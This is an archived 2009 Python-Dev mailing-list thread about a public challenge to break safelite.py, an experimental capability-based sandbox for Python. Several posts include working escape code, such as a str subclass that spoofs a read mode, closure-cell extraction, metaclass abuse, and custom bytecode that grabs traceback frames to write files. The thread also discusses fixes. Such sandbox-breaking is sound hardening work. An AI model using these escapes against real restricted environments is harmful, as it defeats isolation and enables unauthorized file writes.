Le Tuesday 24 February 2009 00:22:19 tav, vous avez écrit : guido class S(str): guido ... def __eq__(self, o): print o; return 'r' == o guido [snip] Very devious -- @eichin and Guido! mode = str(mode) is not enough to protect FileReader about evil object faking r string. Example without safelite.py: class Mode(str): def __str(__self): return self def __eq__(self, x): return x == 'r' mode = Mode('w') mode = str(mode) assert mode == 'r' # ok ! f=open('x', mode) - opened in write mode ... hey! The rules (safelite.py) changed one more time! The check on mode is now: if type(mode) is not type(''): raise TypeError(mode has to be a string.) Could you keep all versions of safelite.py? (eg. rename new version as safelite2.py, safelite3.py, etc.) -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
tav wrote: But that doesn't invalidate the model or the possibility of using it in Python. However, there's also the matter of whether it's *practical* to use the model in Python. The custom-string exploit illustrates that you have to be extremely careful what you do with, and what you assume about, anything given to you by untrusted code. How confident is the user of the capability model going to be that there isn't some other obscure exploit that he hasn't thought of? To be able to have confidence in it, a capability model needs to start with objects having no capabilities at all, and you deliberately add the capabilities you want it to have. But Python objects come by default with a huge number of capabilities, designed to allow the programmer to do just about anything he wants short of wrecking the internals of the interpreter (wrecking the rest of his computer is fine, though:-). And you not only have to think about the capabilities of the objects that you give to others, but the capabilities of objects that others give to you -- and be careful not to use any of them in a way that could fool you. So while the model may be theoretically sound, applying it to Python is not easy to do in a way that one can have confidence in. -- Greg ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Le Monday 23 February 2009 23:41:30, vous avez écrit : http://tav.espians.com/a-challenge-to-break-python-security.html Please blog/retweet and of course, try the challenge yourselves =) The challenge can be seen as: is it possible to read secret in the following code without using b.func_code, b.func_globals or b.func_closure: - def a(): secret = 42 def b(): print(secret) return b b = a() secret = ??? - With func_xxx, it's possible to get the secret with: - def get_cell_value(cell): return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, (cell,))() secret = get_cell_value(b.func_closure[0]) # 42 - Function found at: http://code.activestate.com/recipes/439096/ But how can we get the closure if b.func_closure doesn't exist? Oh, wait! What's this: b.__getattribute__... - secret = get_cell_value(b.__getattribute__('func_closure')[0]) - About FileReader, a full exploit: - from safelite import FileReader def get_cell_value(cell): return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, (cell,))() # Create 'w' string which is equals to 'r' class Mode(str): def __str__(self): return self def __eq__(self, x): return x == 'r' mode = Mode('w') f = FileReader('0wn3d', 'w') fileobj = get_cell_value(f.tell.__getattribute__('func_closure')[0]) fileobj.write('twice!\n') f.close() - -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Hey Victor, You definitely got to the heart of the challenge. f.tell.__getattribute__('func_closure') But, have you actually run that code? Cos that doesn't work here... sorry if I missed something... -- love, tav plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
victor f.tell.__getattribute__('func_closure') tak But, have you actually run that code? Ooops, I modified my local copy of safelite.py to disable func_xxx protections :-p With the latest version of safelite.py, my exploit doesn't work anymore. Sorry. -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Another potential avenue for attacks: I can access the various class and metaclass objects easily: f = FileReader('/etc/passwd') f.__class__ class 'safelite.NamespaceObject' f.__class__.__metaclass__ class 'safelite.NamespaceContext' f.__class__.__metaclass__.__call__ unbound method NamespaceContext.__call__ f.__class__.__metaclass__.__call__.im_func function __call__ at 0x66470 kall = f.__class__.__metaclass__.__call__.im_func Now calling kall() with appropriate arguments will allow me to let the supervisor do setattr() operations on any object I have access to. It will probably end with an exception but that shouldn't matter: kall(f.__class__.__metaclass__, [('foo', 47)]) type 'list' f.__class__.__metaclass__.foo 47 Insofar as the metaclass has any purpose at all for security this might let us thwart that purpose... -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
guido I can access the various class and metaclass objects guido easily [snip] It would've been possible to replace __call__ on the metaclass -- which, though not a security leak by itself, could've been abused for some fun. I've inlined the __metaclass__ to prevent fun of this kind. But the really tricky one so far is this hardcore hack that Paul Cannon emailed in: from safelite import FileReader __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(2, 2, 4, 67, 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S', (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)) try: ... FileReader('foo', 2) ... except: ... pass ... stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n') He explains it in detail here: http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html It's very cool! He uses the ``compile`` builtin to get hold of the CodeType and then uses that to construct a nifty function with custom bytecode. Turns out that with the bytecode one can grab traceback objects off of the stack!! And, from there, it's just a mere attribute access away to get hold of traceback.tb_frame! Paul, wisely, outlines the two possible options to remedy this: 1. Remove ``compile`` from the safe builtins 2. Take out ``tb_frame`` If compile is not present and given that func_code and gi_code are not present -- are there other ways of getting at the CodeType? If there aren't then getting rid of compile gives us an easy win. If getting rid of tb_frame is the approach -- then you were right Guido -- there are more variables which need to be restricted! But, this just makes the patch into 7 lines of code instead of 6, so I'm still happy =) The only thing I can't figure out is how to get rid of the attribute using ctypes for the safelite challenge as calling dictionary_of(TracebackType) in safelite.py presents a very minimal {'__doc__': None} Also, the comments in Lib/types.py states: # In the restricted environment, exc_info returns (None, None, # None) Then, tb.tb_frame gives an attribute error I can't seem to find the place in the Python source where exc_info() behaves differently under restricted mode... Thoughts on which of the two options is better would be very appreciated! And thanks for the ongoing hacks guys -- this is turning out great!! -- love, tav plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com